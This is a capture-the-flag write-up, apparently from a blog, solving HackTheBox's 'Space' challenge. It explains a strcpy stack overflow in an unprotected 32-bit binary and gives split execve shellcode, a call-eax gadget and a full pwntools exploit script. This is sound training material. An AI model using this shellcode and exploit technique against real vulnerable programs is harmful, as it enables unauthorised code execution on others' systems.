Space
XESXOR8/23/20262 min read
#pwn#htb#n/a
Space
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
roaming in a small space
Solution Approach
Core idea: Stack-Based Exploitation. Buffer Overflow.
Steps
- In this challenge we're given a 32 bit binary, dynamically linked, and not stripped.
BINARY PROTECTIONS --> no protection enabled.
- After decompiled the binary, we know the vuln is at the sym.vuln where it does strcpy from our input at the sym.main which held up to 31 buffers.
- But at sym.vuln, our buffers copied to a variable with 10 buffers. Obviously it trigger BOF.
- The problem is there is no interesting function to jump to and remembering the NX is disabled, the concept here must be
ret2reg.
PROBLEMS
-
Well it seems we don't have enough spaces after the EIP for our shellcode.
-
Knowing this, hence we need to divide our shellcode. The first one to reach the EIP then use
jmp esporcall eaxregister then send the other after that which jump to the 11th offset at the stack. -
Then execute our shellcode.
SHELLCODE
1st shell
xor ecx, ecx push ecx push 0xb pop eax jmp $+11
2nd shell
xor edx, edx push 0x68732f2f # //sh push 0x6e69622f # bin mov ebx, esp int 0x80 nop nop
NOTES: in 32 bit, we use ebx , ecx and edx instead of rdi, rsi, rdx. Also don't forget the order 👍.
- Actually the intended solution must be using
jmp espi guess since we want to jump onto the the 11th offset, but i managed to solve it usingcall eax(ret2reg).
FULL SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './space'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
sh = start()
call_eax = 0x08049019
log.info('CALL_EAX gadget --> %#0x', call_eax)
### 8 bytes
### we can't do mov eax, 0xb. Because the length shall be 10
### why 11?? Because distance from first A to last A is 11
### it will loop through the last offset before 8 bytes space
first_shell = """
xor ecx, ecx
push ecx
push 0xb
pop eax
jmp $+11
"""
shell_1 = asm(first_shell)
print('[INFO] --> LENGTH SHELL 1',len(shell_1))
### 18 bytes
### adding 2 NOPs as paddings so our shellcode length shall be exact 18.
second_shell = """
xor edx, edx
push 0x68732f2f # //sh
push 0x6e69622f # bin
mov ebx, esp
int 0x80
nop
nop
"""
shell_2 = asm(second_shell)
print('[INFO] --> LENGTH SHELL 2',len(shell_2))
p = flat([
shell_2,
call_eax,
shell_1
])
sh.sendlineafter(b'>',p)
sh.interactive()
TEST LOCALY
TEST REMOTELY
- Got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Buffer Overflow.
- Small space after EIP.
- Crafting custom shellcode.